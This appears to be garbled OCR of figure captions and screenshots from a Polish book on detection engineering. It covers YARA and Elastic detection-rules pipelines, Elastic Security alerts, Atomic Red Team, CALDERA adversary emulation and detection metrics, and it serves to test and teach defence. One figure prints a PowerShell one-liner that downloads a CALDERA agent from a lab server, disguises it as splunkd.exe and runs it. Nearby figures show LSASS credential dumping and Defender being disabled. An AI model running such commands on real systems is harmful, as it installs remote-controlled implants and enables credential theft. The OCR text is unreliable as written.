inr2iwymagaja do uaktywnienia wtasciwosci 12 niskopoziomowy mechanizm detekgdji nr 2, przez co

nie wszystkie niskopoziomowe mechanizmy detekgji
dostarczaja informacji pozwalajacych na poprawne
uaktywnienie ztozonego mechanizmu detekgji nr 2

Rysunek 8.4. Sktadowe mechanizmy detekcji i mechanizmy ztozone — przykiad nr 2
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Testowanie ztosliwego

Zaktualizowane

oprogramowania sygnatury YARA
Zesp6tdo Y Y
spraw ztosliwego - -
oprogramowania Potok sygnatur YARA »| | Wdrozone repozytorium
(potok nadrzedny) sygnatur YARA
Wyzwalacz
? Potok mechanizmoéw detekgji (potok potomny)

Pobieranie zidentyfikowanych sygnatur
(lista sygnatur lub lista tagéw)

Test wydajnosci dziatania
Czy czas pliku YARA < max_runtime

Osadzanie sygnatur

Zespot Osadzanie szablonéw | , | | Wdrozone Mechanizmy
inzynierii mechanizméw detekcji sygnatury detekcji sygnatur
detekgji

Testowanie pod katem btedéw
Test mechanizmu detekcji pod katem powigzanych
zidentyfikowanych prébek ztosliwego oprogramowania

Y

Znane dobre testy
Test w odniesieniu do nieztosliwych plikow

Wdrozenie (lub oznaczenie do wdrozenia)
jako mechanizmy testowe lub eksperymentalne

\

Rysunek 8.5. Przyktadowy potok mechanizmu detekcji jako kodu
z osadzaniem sygnatur YARA

= O elastic / detection-rules Q Type(/Jto search . + - e n e -@}
<> Code (D lIssues 147 [ Pullrequests 38 () Actions () Security |~ Insights
%* detection-rules ' pubiic ® Watch 87 Y osar 17k v

¥ main - ¥ 170 Branches © 134 Tags Q Gotofile t + About

Rysunek 8.6. Tworzenie forka repozytorium detection-rules
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tion_rule C ion_rules --help

DETECTIOR RLULES

tion_rules [OPTI
Commands for ion-rules repositor
Options:

-N, --no-debug Print full

Show this

toml, or Kibana...

on_ru

Rysunek 8.7. Ekran pomocy projektu detection-rules

Publikowanie

(commitowanie) Wadrazanie

Potok Start Kompilacja Linting Testowanie 3>

Wykonanie polecenia
git:;push
(reguta zapisana
W repozytorium)

Implementacja create-rule validate-rule
projektu git:push toml-lint test

: sigma kibana::upload_rule
detection-rules rta

Rysunek 8.8. Potok z implementacjg projektu detection-rules
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Github.com

Rozwidlone

my_personal/detection_rules [«

elasticsearch/detection_rules

Moéj zespot
inzynierii
detekgji

eql.errors. EqlSchemaError:

Field not r
any where e

epo\detection_ruls

Sklonowane

Sklonowane

| Sklonowane

Y

v

Y

Lokalna kopia
repozytorium projektu
detection_rulesnr 1

Lokalna kopia
repozytorium projektu
detection_rules nr 2

Lokalna kopia
repozytorium projektu
detection_rules nr 3

Inzynier detekgji 1

Inzynier detekcji 2

Inzynier detekdji 3

Rysunek 8.9. Potok z implementacja projektu detection-rules

Error at line:1,column:89
1" and winlog.channel=="

@, endgame .8

crosoft-Windows-VHDMP-Operational™ and

ent_data.VhdFileName like~ ("*Temp*",

Rysunek 8.10. Btad EqlSchemaError

thon -m detection rules import-rules .

frules/wind

[lETEETII]I'-J FIJLEE

[+] Building rule for D:\g

z_iso_zamontowany,

on_iso mounted from zip temp direc

repo\detection_rules\r

owego_folderu_zip.toml

Rysunek 8.11. Wynik dziatania polecenia import-rules
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< Back to integrations
Elastic Defend |
1 Elastic Agent
. Overview Integration policies  Assets  Settings  Advanced
Elastic Defend Integration Details
This integration sets up templates and index patterns required for Elastic Defend. Version 8.5.0
Compatibility Category Cloud, Security
For compatibility information view our documentation. Elasticsearch  Index
assets templates
Transforms 2
Logs Ingest
The log type of documents are stored in the logs-endpoint.* indices. The following sections pipelines
define the mapped fields sent by the endpoint. Features logs, metrics
alerts Subscription basic
EXPORTED FIELDS
Rysunek 9.1. Integracja Elastic Defend
o Configure integration
Integration settings Integration name
Choose a name and description to help identify Integracja Elastic Defend
how this integration will be used.
Description Optional
do zbierania danych zabezpieczer z endpointa
» Advanced options

Rysunek 9.2. Krok nr 1 kreatora dodawania integracji

o Where to add this integration?

Mew hosts  Existing hosts

Agent policy Agent policy

Agent policies are used to manage a group of Windows policy ~

integrations across a set of agents.

1 agent is enrolled with the selected agent policy.

Rysunek 9.3. Krok nr 2 kreatora dodawania integracji
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#  Security = Explore

Dashboards 85
Alerts = 20 5,037 source. 5,38 Hosts
A comprehensive overview of all hosts and host-related security events.
Findings —
Timelines M g s oo o
Cases ~ All hosts
Explore 88 ot

: Network
¥ = Provides key activity metrics in an interactive map as well as event tables that
i o af enable interaction with the Timeline.
s =
57 GET STARTED vy St dest

Manage i

Rysunek 9.4. Aplikacja Elastic Security

~ Events Stackby  eventaction
Showing: 15361 events
Network comniction

detected (rule:
NetworkConnect)

Process terminated
(rule:
ProcessTerminate)

o Process Create (rule:

o ProcessCreate)
01-0100:00 01010200 0101 08:0X 1-0100:00 0101 1200 0101 15:00 01 18:0 010121:00 @ Al others
= Columns ¢ 1field sorted 15428 events ED Fields Show only external alerts
Actions. V @timestamp V' message ' host.name “ event.module v agenttype v event.dataset eventaction Vv user.name v source.ip v destination.ip v
s Jan1,2024 @ 12:45:42.007  Non-zerometics int.. 5difee24d3sa - Tlebeat clasicagent fleveat  — - = -
2o Jan1,2024 @ 12:45:40.591  Elsstic Agentstatus .. 5d1fee24d3a - flebeat elastic_agent - - _ -
S Jan1,2024 @ 12:45:40.574  2024-01-01T11:45:.. Sd1fee2ddiga - flebeat eastic.agent - - _ -
7 & Jan1,2024 @ 12:45:40.573  2024-01-01T1145:... Sd1fee24d3%a - filebeat elastic_agent - - - -
2 Jan1,2024 @ 12:45:20.448  Connection to backo.. 5dfee24d39a - flebeat elastic_agentmetric.. — — — -
2o Jan1,2024 @ 12:45:28.391  Atemptingtocome... 5d1fee24d3ga - flebeat clastic agentmetrc... — - _ -
X Jan1,2026 @ 12:4527.343  2024-01-01T11:45:.. Sdifeeddia - flebeat eastic.agent - - _ -
7 & Jan 1,2024 @ 12:45:25.505  Failed to connect to .. 5d1fee24d39a - filebeat elastic_agent.metric... — - - —

Rysunek 9.5. Widok Events w aplikacji Elastic Security

= . Security ~ Manage  Rules

& Security R u I es [@ Load Elastic prebuilt timeline templates

Dashboards 88
rn Update available for Elastic prebuilt rules or timeline templates
erts
= You can update 678 Elastic prebuilt rules
Endings Release notes %
Timelines
Update 678 Elastic prebuilt rules
Cases

Rysunek 9.6. Zarzadzanie regutami Kibana Security
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Zabezpieczenia Windows

o Ustawienia ochrony przed wirusami i
o C
zagrozeniami

fit  Strona gtowna Wyswietl | zaktualizuj ustawienia ochrony przed wirusami | zagroZeniami

Programu antywirusowego Microsoft Defender.
| U  Ochrona przed wirusami i zagrozeniami

R Ochrona konta
Ochrona w czasie rzeczywmtym

) Zapora i ochrona siedi Znajduje i zatrzymuje instalacje lub uruchamianie ztosliwego
oprogramowania na urzadzeniu. Mozesz na krotko wytaczyc to ustawienie,
B Kontrola aplikacji i przegladarki ale automatycznie wiaczy sie ona ponownie.

Ochrona w czasie rzeczywistym jest wytaczona, wiec urzadzenie jest
podatne na zagroZenia.

& Wydajnoéé i kondycja urzadzenia (D Wylaczone

L0 Zabezpieczenia urzgdzenia

Ak Opcje rodzinne

Rysunek 9.7. Wytaczanie ochrony w czasie rzeczywistym w ustudze Windows Defender

dump . dmp

dump utili
and And

Dump )

Dump 1 writi dump file
Dumg nplete: written in
Dump

Rysunek 9.8. Uruchomienie testu Atomic Red Team

Alerts
m Acknowledged Closed Updated 20 seconds ago

~ i Trend v Groupby kibana.alert.rule.name <

Group by top

o

® | SASS Memory Dump Creation

= Columns ¢ 1fieldsorted Galerts | [] Fields Additional filters v Grid view v
Actions v @timestamp ~ Rule ~  Severity ~ RiskScore ~ Reason
Sy wee Jan 1, 2024 @ 10:19:55.829 LSASS Memory Dump Crea... high 73 event on DESKTOP-3ADGNTT created high alert LSASS Memory Dump Ci

Rysunek 9.9. Alerty w aplikacji Elastic Security
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Status

Highlighted fields
Field

host.name

Rule type

LSASS Memory Dump Creation
Jan 1, 2024 @ 10:19:55.829

Overview  ThreatIntel [

Table JSON
Severity Risk Score Rule
® High 73 LSASS Memory Dump
Creation
event on| DESKTOP-3ADGNTT |created | high |alert| LSASS Memory Dump Creation
View all fields in table
Value Alert prevalence ()
DESKTOP-3ADGNTT B
query [}

Rysunek 9.10. Alarm tworzenia zrzutu pamieci LSASS

Rules

Showing 1-19 of 19 rules

Rules  Rule Monitoring

Q Rule name, index pattern (e.g., "filebeat-*"), or MITRE ATT&CK™ tactic or technique (e.g., "Defense Evasion" or "TA0005")

Selected 19 rules  [8 Select all 19 rules  Bulk actions ~ & Refresh  Refresh settings v

Rule Risk score  Severity
Whoami Process Activity ® 1/3 integrations P6 21 ® Low
Account Discovery Command via SYSTEM Account @ 0/2 integrations @5 21 ® Low

Rysunek 9.11. Reguly Windows i Discovery
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Deploy an agent

Agent

Sandcat | CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. v

Platform

O A = &

all linux windows

app.contact.http http://10.168.0-104:8888
agents.implant_name splunkd

agent.extensions

®@ psh CALDERAs default agent, written in GoLang. Communicates through the HTTP(S) contact by default.

$server="http://10.168.9:.104:8888";

$url="%$server/file/download”;

$wc=New-Object System.Net.WebClient;

$wc.Headers.add("platform™, "windows™);

$wc.Headers.add("file","sandcat.go");

$data=$wc.DownloadData($url);

get-process | ? {$_.modules.filename -like "C:\Users\Public\splunkd.exe"} | stop-pracess -f;
rm -force "C:\Users\Public\splunkd.exe" -ea ignore;
[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe”,$data) | Out-Null;

Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList "-server $server -group red”

Rysunek 9.12. Instalacja agenta CALDERA

Operations

Select an operation  Operacja testowa - 0 decisions | just now Vv # Create Operation

Operacja testowa

< Dounlosd Current state: o Obfuscation: ~ pain-text

Pause

" -WindowS1

Manual @@ Autonomous

+ Manual Command  + Potentil Link

Discover local hosts axunst DESKTOP-3ADGNTT View Command
Powerkatz (Staged) axunst DESKTOP-3ADGNTT View Command

Find Domain axunst DESKTOP-3ADGNTT View Command

Rysunek 9.13. Operacje w systemie CALDERA

(invoke-webrequest ifconfig.

New Manual Command DESKTOP-3ADGNTTSDESKTOP-3ADGNTT\PC-axunst % ) i}
me -usebasicparsing).content

Rysunek 9.14. Reczne polecenia w systemie CALDERA

View Output

View Output

View Output

Add Command

Cancel
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Qutput

Name

host.ip.address

Rysunek 9.15. Wynik dziatania recznego polecenia w systemie CALDERA

Debrief

Campaign Analyties. Debrief gathers overall campaign information and analytics for a selected set of operations. It provides a centralized view of operation metadata, graphical displays of the operations, the techniques and tactics
used, and the facts discovered by the operations.

© GrphSettings B Download PDF Report B Download Operation JSON

) AttackPath v el
Select one or more operations

Oper Windows

B oo

g
. (—

Rysunek 9.16. Wtyczka Debrief systemu CALDERA

discovery

Techniques

+ T1018 | Remote System Discovery
* T1016 | System Network Configuration Discovery

Steps

Operacja testowa

+ Discover local hosts

* Find Domain

Rysunek 9.17. Techniki wykrywania stosowane w operacji CALDERA
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STEPS IN OPERATION OPERACJA TESTOWA

The table below shows detailed information about the steps taken in an operation and whether the
command run discovered any facts.

OPERATIONS DEBRIEF

Status
2024-01-01 success axunst  Discover Import-Module \powerview.ps1;Get-DomainComputer  No
TACTICS AND TECHNIQUES T15:23:352 local hosts
Tactics Techniques Abilities 2024-01-01  success  axunst  Powerkatz N A Mi No
d ed: d Operacja testowa 524072 (E=220) jDumeCrode
Manual Command 2024-01-01 success awnst  FindDomain  nbistat-n No
T15:25:052
Credential-access T1003.001: OS Credential Dumping: LSASS Memory  Operacia lestowa
Powerkatz (Staged) 2024-01-01 fallre  axunst  Manual (invoke-webrequest ifconfig.me No
T15:30:172 Command sebasicparsing).content
Discovery T1018: Remote System Discovery Operacia testowa ma '“ e
‘T1016: System Network Configuration Discovery Discover local hosts 2024-01-01  success axunst  Manual (invoke-webrequest ifconfig.me Yes
Find Domain T15:32:182 Command  -usebasicparsing).content

Rysunek 9.18. Raport PDF z podsumowania operacji CALDERA

Alerts

m Acknowledged | Closed Updated 8 minutes ago
~ |t Trend v Groupby  kibana.alert.rule.threat.technique.id v ™
Group by top -
0a-07 1807
T 3 o Ti050 ws
T 4 o Tis62 345
e 7 ® 108 100
T087 23 5
TR s s 100
Tias2 »
0406 1900 0406 22:00 0407 0100 04070400 0407 07:00 04071 0407 1300 oioricon | 182 23004,
IS 20
o8 20
olumns ¢ 2fleics sorted 460 alerts | (] Fiekds LR Additional fiters v Grid view v
059 259
 @timestamp v 1 Kibana.slertruiethr.. v Rule ~ severity v Riskscore v Reason v hostname v username v p
2023-04-07 @15:17:54004  T1016,T1614 Extemal IP Lookup from No... low 21 network event with process curl.exa, 53, by devuser on Vabhosi09 create...  viaohost09  devuser @
2023-04-07 @15:3333263  T1016,T1018 Ramota System Discovery .. low 2 ©,y.. VaDhostoo  Administrator i
2023-04-07 @ 15:34:50.662 11562, T1059 Potential Antimalware Scan... high 7 1, created... viabhostoo.d.. — =
2023-04-07 @ 15:34:50.865  T1562, T1059 Potential Antimalware Sean... high 73 process event with file invoke-mimips1, on iabhostog.delabJocal crested.. VIabhostog.d.. — =
2023-04-07 @ 15:34:50.086 71562, T1059 Potential Antimalware Scan... high 73 process event with file invoke-mimips1, on viabhost09 delablocal created... viabhosto9.d.. — =
2023-08-07 @ 15:34:50.867  T1562, T1059 Potential Antimaiware Scan... high 73 process event with fle Invoke-mimLps1, 00 ViabOSIOS. delab Jocal crested...  ViaDhostos.d... — -
2023-08-07 @ 15:34:50.668  T1562, T1059 Potential Antimalware Scan... igh 73 process event with fle invoke-mimips1, on viabhost09 delabloca created... viabhost09.d.. — =

Rysunek 9.19. Zmodyfikowany widok Alerts w systemie Elastic Security
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External IP Lookup from Non-Browser Process
2023-04-07 @ 20:39:40.576

Overview ThreatIntel ) Table JSON

Status Severity Risk Score Rule

- ® Low 21 External IP Lookup from Non-
Browser Process

network event with process powershell.exe,:53, by Administrator on vlabhost09 created low alert External IP Lookup from Non-Browser Process.

> 0 cases related to this alert

> 1alert related by source event

Highlighted fields View all fields in table
Field Value Alert prevalence (@)

host.name vlabhost09 1

Agent status - =

user.name Administrator 1

Rule type eql 1

destination.port 533 1

dns.question.name ifconfig.me 1

process.name powershell.exe 1

Insights

Rysunek 9.20. Alert wyszukiwania zewnetrznego adresu IP z procesu spoza przegladarki

Wskaznik

Wskaznik 6 D

Wskaznik 5 }

Punkt krytyczny

mechanizmu  Wskaznik 4 l l
detekc;ji
2 0y
L4
i‘ Wskaznik 3 ‘ il §

.
-

S
Ve cccanzzzzzosfEscsssseenaas

Wskaznik 2 ,

Wskaznik 1 l

Potencjalna
zmiennos¢

Rysunek 9.21. Wskazniki i potencjalna zmiennos¢
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Mechanizm detekgji
identyfikuje ten element

Napastnik moze

zaimplementowac¢ dowolne
ztych niewykrytych —==— Procedura 1

Aktywnos¢ niezwigzana
ze ztodliwym
oprogramowaniem

Wskaznik zmiennosci procedury ataku |

| Mechanizm detekgji 1 |

| Mechanizm detekcji 2

| Mechanizm detekcji 3 |

Jednowymiarowy widok przestrzeni atakéw
i powigzanych z nimi mechanizmoéw detekcji. Ten
widok dodaje wymiar z kazdym uzywanym wskaznikiem
jako warunek ,i” w ramach mechanizmu detekgji

Mechanizm detekgji 1: brak fatszywych alarmoéw, ale takze brak

poprawnych wynikéw dodatnich

Mechanizm detekcji 2: uwzglednia fatszywe alarmy, ale nie pomija

poprawnych wynikéw dodatnich

Mechanizm detekgji 3: obejmuje fatszywe alarmy niemozliwe
do uzyskania w wyniku dziatania przeciwnika i obejmuje tylko

niektére wyniki poprawnie dodatnie

Rysunek 9.22. Przestrzen mechanizmu detekgji

Foo.exe -p procedure_num

Procedura2 Procedura3 <=

komponentéw za pomoca
innego narzedzia

Przestrzen ataku

Przestrzen detekcji

-

To narzedzie jest
<= wykorzystywane

dostarcza metryk
pokrycia dla wielu
procedur

Rysunek 9.23. Narzedzia walidacyjne a procedury

Wszystkie mozliwe procedury dla techniki

Dzien zerowy

Brak pokrycia

Czesciowe pokrycie mechanizmami detekgji

Petne pokrycie mechanizmami detekcji

<—— Nieznane

Kazdy test wykrywania
<— tych procedur zakonczytby
sie niepowodzeniem

Testy walidacyjne moga

\ przechodzi¢, ale napastnicy
moga oming¢ mechanizmy
detekcji

Powinny zawsze
przejs¢ walidacje

«—

Rysunek 9.24. Przestrzenie ataku i detekcji wielu procedur

w tedcie walidacyjnym

Narzedzie walidacyjne



Rozdziat 10. Wykorzystanie wiedzy
0 zagrozeniach

S0141  Winnti for
Windows

Uk}

Techniques Used ATTECH avigator Layers ~
Domain D Name Use
Enterprise  T1583 .001  Acquire Infrastructure: Domains Winnti Group has registered domains for C2 that mimicked sites of their intended targets.I"!
Enterprise ~ T1083 File and Directory Discovery Winnti Group has used a program named ff.exe to search for specific documents on compromised hosts.["]
Enterprise  T1105 Ingress Tool Transfer ‘Winnti Group has downloaded an auxiliary program named ff.exe to infected machines."]
Enterprise ~ T1057 Process Discovery ‘Winnti Group looked for a specific process running on infected servers !l
Enterprise  T1014 Rootkit Winnti Group used a rootkit to modify typical server functimvalily.[‘]
Enterprise  T1553 .002 = Subvert Trust Controls: Code Signing Winnti Group used stolen certificates to sign its malware.["]
Rysunek 10.1. Winnti Group — wykorzystywane techniki
Software
D Name References  Techniques
S0501 = PipeMon 6] Abuse Elevation Control Mechanism: Bypass User Account Control, Access Token Manipulation: Create Process with Token, Access Token
Manipulation: Parent PID Spoofing, Boot or Logon Autostart Execution: Print Processors, Create or Modify System Process: Windows Service,
Deobfuscate/Decode Files or Information, Encrypted Channel: Symmetric Cryptography, Fallback Channels, Ingress Tool Transfer, Masquerading: Match
Legitimate Name or Location, Modify Registry, Native API, Non-Application Layer Protocol, Obfuscated Files or Information, Obfuscated Files or
Information: Fileless Storage, Process Discovery, Process Injection: Dynamic-link Library Injection, Shared Modules, Software Discovery: Security
Software Discovery, Subvert Trust Controls: Code Signing, System Information Discovery, System Network Configuration Discovery, System Time
Discovery
S0013  PlugX ] Application Layer Protocol: Web Protocols, Application Layer Protocol: DNS, Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder,

Command and Scripting Interpreter: Windows Command Shell, Create or Modify System Process: Windows Service, Deobfuscate/Decode Files or
Information, Encrypted Channel: Symmetric Cryptography, File and Directory Discovery, Hide Artifacts: Hidden Files and Directories, Hijack Execution
Flow: DLL Side-Loading, Hijack Execution Flow: DLL Search Order Hijacking, Ingress Tool Transfer, Input Capture: Keylogging, Masquerading:
Masquerade Task or Service, Masquerading: Match Legitimate Name or Location, Modify Registry, Native API, Network Share Discovery, Non-
Application Layer Protocol, Obfuscated Files or Information, Process Discovery, Query Registry, Screen Capture, System Network Connections
Discovery, Trusted Developer Utilities Proxy Execution: MSBuild, Virtualization/Sandbox Evasion: System Checks, Web Service: Dead Drop Resolver

Abuse Elevation Control Mechanism: Bypass User Account Control, Application Layer Protocol: Web Protocols, Boot or Logon Autostart Execution:
Registry Run Keys / Startup Folder, Create or Modify System Process: Windows Service, Deobfuscate/Decode Files or Information, Encrypted Channel:
Symmetric Cryptography, Execution Guardrails: Environmental Keying, File and Directory Discovery, Indicator Removal: File Deletion, Indicator Removal:
Timestomp, Ingress Tool Transfer, Masquerading: Match Legitimate Name or Location, Native API, Non-Application Layer Protocol, Obfuscated Files or
Information, Process Discovery, Proxy: External Proxy, Proxy: Internal Proxy, System Binary Proxy Execution: RundlI32, System Information Discovery,
System Services: Service Execution

Rysunek 10.2. Winnti Group — oprogramowanie
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P5. Zoptymalizowane
Zoptymalizowane mechanizmy
detekcji w oparciu o wewnetrzne
badania i ocene istotnosci dla
$rodowiska organizacji

P4. Mierzone
Tworzenie mechanizméw
detekcji w oparciu

o metryki

P3. Zdefiniowane
Ustandaryzowane procesy
otrzymywania i wykorzystywania
wewnetrznych informacji zwrotnych

P2.Zarzadzane
Mechanizmy detekcji
pochodzace z raportéw
open source

P1. Wstepny
Korzystanie zmechanizméw
detekcji innych firm

Rysunek 11.1. Model dojrzatosci inzynierii detekgji

A

Y

Mozliwe znane procedury dla techniki

Odmiana procedury uzywanej
w poprzednich atakach
na Twojg organizacje

Mechanizmy detekcji testowane

’ 222222222222227222171772
z wykorzystaniem MTTD

Mozliwosci organizacji w zakresie detekgji

Rysunek 11.2. Testowanie mechanizméw detekcji za pomocg MTTD
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Skuteczno$¢

Niski | Sredni/ | Wysoki

Metryki wptyw | wysoki | wptyw
Wydajnos¢ X X X
Trafnos¢ i czutosé X X
Niski poziom wiernosci X X
Automatyczna walidacja X X
Wysoki poziom wiernosci X

Rysunek 11.3. Metryki wedtug pozioméw waznosci

Fatszywie
ujemne

Alert = Fatsz
Ztosliwos¢ = Prawda

Utworzono alert

Ztosliwa aktywnos¢

Prawdziwie
pozytywne

Alert = Prawda
Ztosliwos¢ = Prawda

Prawdziwie
ujemne

Alert = Fatsz
Ztosliwos¢ = Fatsz

Fatszywie
pozytywne

Alert = Fatsz
Ztosliwos¢ = Prawda

Rysunek 11.4. Okreslanie alertow

Prawdziwie dodatnie

Fatszywie dodatnie

Rysunek 11.5. Standardowa krzywa ROC
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<M
< A3

< A2
< Al

Prawdziwie dodatnie

Fatszywie dodatnie

Rysunek 11.6. Ocena podejs¢ do mechanizméw detekcji z wykorzystaniem krzywej ROC

Rysunek 11.7. Przyktad macierzy MITRE ATT&CK
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Wszystkie mozliwe procedury dla techniki

Dzien zerowy <«— Nieznane

Kazdy test wykrywania
Brak pokrycia <€— tych procedur zakonczytby
sie niepowodzeniem

Czesciowe pokrycie mechanizmami detekcji Testy walidacyjne moga
\ przechodzi¢, ale napastnicy
moga oming¢ mechanizmy

< detekgcji
Pe - Powinny zawsze

ne pokrycie mechanizmami detekgji <« przejéc¢ walidacje

Przestrzen ataku

Przestrzen detekcji

LU

Rysunek 11. 8. Kategorie wynikéw walidacji mechanizméw detekgji

Tutaj powstrzymano atak

Identyfikacja poprzednich etapéw aktywnosci Analiza artefaktéw w celu
za pomoca technik analizy sledczej identyfikacji przysztych etapow

<
<

. . . . . Zarzadzanie Oddziatywanie
> Rozpoznanie >> Uzbrajanie >> Dostarczanie >> Wykorzystanle>> Instalacja >> i kontrola >> na cele >

Rysunek 11.9. Analiza Cyber Kill Chain w celu zidentyfikowania niewykrytych
dziatan napastnika

Piramida bélu Rodzaj detekgji Urzadzenie zabezpieczen

« Detekcje zachowan - EDR/SIEM
Narzedzia « Sygnatury pliku - Oprogramowanie antywirusowe/Yara
- Sieciowe sygnatury C2 « Firewall/NDR

Rysunek 11.10. Piramida bélu i rodzaje detekcji
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Mechanizm Mechanizm Weczesniej
detekgji 1 detekcji 2 niezaobserwowane
Narzedzie 1 Narzedzie 2 Narzedzie 3

Mechanizm detekcji 3

Biblioteka wspétdzielona

Narzedzie 3 Narzedzie 3 Narzedzie 3
Oczekiwane wykrycia 2 2 2
Zaobserwowane wykrycia 1 1 1

Rysunek 11.11. Dryf mechanizmu detekcji dla wielu narzedzi stosowanych
przez atakujacego

Grupa 1 Grupa 2 Grupa 3
Mechanizm Mechanizm Wezesniej
detekcji 1 detekcji 2 niezaobserwowane 1.Kazda grupa ma wiasny
mechanizm detekgji
Narzedzie 1 Narzedzie 2 Narzedzie 3
; Mechanizm detekji 3 2. Mechanizm detekgji
3. 3rakl£ng%rl1anlzmu e <—— jestwspotdzielony
etekdji dla grupy . P miedzy grupami
Biblioteka wspotdzielona cdzy grup:

Rysunek 11.12. Réznice w pokryciu mechanizmow detekcji

Technika T1234

Grupa 1 Grupa 2 Grupa 3 Grupa 4
Zdalne wywotywanie RPC 1
procedur
% Warstwa narzedzi Narzedzie 1 Narzedzie 2 Narzedzie 3 Narzedzie 4
3
2 Warstwa rejestru Klucz rejestru
2
|4 " Funkcja Funkcja S
g Warstwa funkcji API Windows APl nr 1 Windows APl nr 2 Funkcja Windows API nr 3
Warstwa sieciowa Protokét sieciowy nr 1 Protokoét sieciowy nr 2

Rysunek 11.13. Mapa abstrakcji z piecioma warstwami
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Grupy mozliwosci

Grupa 1 Grupa 2 Grupa 3
Warstwa abstrakcji 1 Szczeg6ty artefaktu Szczegdty artefaktu
% Warstwa abstrakcji 2 | Szczegdly artefaktu | Szczegoly artefaktu | Szczegoéty artefaktu | Szczegdty artefaktu
i
Qo
$ | Warstwa abstrakgji 3 Szczeg6ty artefaktu
Z
rB‘E Warstwa abstrakcji4 | Szczegdly artefaktu | Szczegoty artefaktu Szczegoty artefaktu
Warstwa abstrakcji 5 Szczegéty artefaktu Szczegdty artefaktu
Rysunek 11.14. Uogéiniona mapa abstrakcji
Mapa abstrakcji ze znacznikami minimalnej liczby detekgji
Technika T1234
Grupa 1 Grupa 2 Grupa 3 Grupa 4
Zdalne wywotywanie TAG: T1234 MD: 5 TAG: T1234 MD: 4
procedur RPC 1 RPC 2
2 : TAG: T1234 MD: 5 TAG: T1234 MD: 5 TAG: T1234 MD: 3 TAG: T1234 MD: 4
§ URIEBNEIE L5 Narzedzie 1 Narzedzie 2 Narzedzie 3 Narzedzie 4
2
o) s .
i Warstwa rejestru TAG: T1234 MD: 5
; Klucz rejestru
=
< i TAG: T1234 MD: 5 TAG: T1234 MD: 5 TAG: T1234 MD: 3
‘;" WS L) A Funkcja Win APInr 1 | Funkcja Win API nr 2 Funkcja Windows API nr 3
— TAG: T1234 MD: 3 TAG: T1234 MD: 4
Warsine SiedenE Protokét sieciowy nr 1 Protokét sieciowy nr 2
Rysunek 11.15. Przykiad oznaczania MD
Minimalny dryf mechanizmu detekcji = Max(MD,, MD,, MD ) — n
. . /
Gdzie: n = liczba alertow
Rysunek 11.16. Wzér na dryf MD
Mapa abstrakgji ze znacznikami minimalnej liczby detekcji i odpowiedziag EDR
Technika T1234
Grupa 1 Grupa 2 Grupa 3 Grupa 4
Zdalne wywotywanie TAG: T1234 MD: 4 TAG: T1234 MD: 3
procedur RPC 1 RPC2
:a ; TAG: T1234 MD: 4 TAG: T1234 MD:4 TAG: T1234 MD: 2 TAG:T1234 MD: 3
7::_’ I A Narzedzie 1 Narzedzie 2 Narzedzie 4
E - TAG: T1234 MD: 4
; Warstwa rejestru Kluczrejestru
EDR a " TAG: T1234 MD: 4 TAG: T1234 MD: 4 TAG: T1234 MD: 2
Zatrtzimwjle & | WarstwafunkdiAPL | b o Win APInr 1 | Funkcja Win APl nr 2 Funkcja Windows API nr 3
atak, jesli *
zostanie Warstwa sieciowa TAG:T1234 MD: 3 TAG: T1234 MD: 4
wykryty Protokét sieciowy nr 1 Protokot sieciowy nr 2

Rysunek 11.17. Mapa abstrakcji z odpowiedzia EDR
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Przyktad 2

Przyktad 1

Skutecznos¢
mechanizmu detekgji 2

<

>

Kampania 1 Kampania 2
<> <>

Skuteczno$¢ mechanizmu detekgji 1
< A

Kampania 1 Kampania 2

A
Y
A

Czas

Rysunek 11.18. Skutecznos¢ mechanizméw detekcji w czasie

A pm - .
i \
1 1
— 1 1
5 | 1
3 ! !
b 1 1
RS 1 Kwadrant 2 !
=} 1 1
£ 1 1
N 1 1
c 1 1
o 1 1
¥} v 1
() N o oo —
§ s T TS TETETEE ~ s T TS TETESEE ~
O ] A\l \
8 1 [} 1
= 1 [} 1
=)
o 1 (] 1
S| [ 1
N 1 [} 1
B Kwadrant 1 1 Kwadrant 3 !
c 1 (] 1
S| 1 !
= 1 (] 1
> 1 (] 1
1 (] 1
\ LY 1
N e e e e e - - —_7 N e e e e e - - —_
A
»~

Ulotno$¢ mechanizmu detekgji
Zatézmy, ze punkty danych sg wykreslane

dla kazdego zbioru mechanizméw detekcji
(np. zbiér mechanizmoéw detekg;ji dla kazdej techniki)

Rysunek 11.19. Wykres aspektow ulotnosci mechanizmow detekcji
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